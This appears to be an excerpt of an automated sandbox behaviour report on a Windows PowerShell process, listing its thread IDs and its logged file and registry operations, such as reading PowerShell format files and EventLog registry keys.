Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x F08
0x F20
0x F24
0x F28
0x F2C
0x F30
0x 8C8
0x 834
Host Behavior
File (394)
»
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 6
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\2XC7u663GxWc type = file_attributes True 1
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Windows\system32 type = file_attributes True 7
Fn
Get Info C:\Windows type = file_attributes True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 62 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 17 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 57 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 25 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 54 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 1 True 2
Fn
Data
Registry (190)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment - True 1
Fn
Open Key HKEY_CURRENT_USER\Environment - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 9
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 4
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
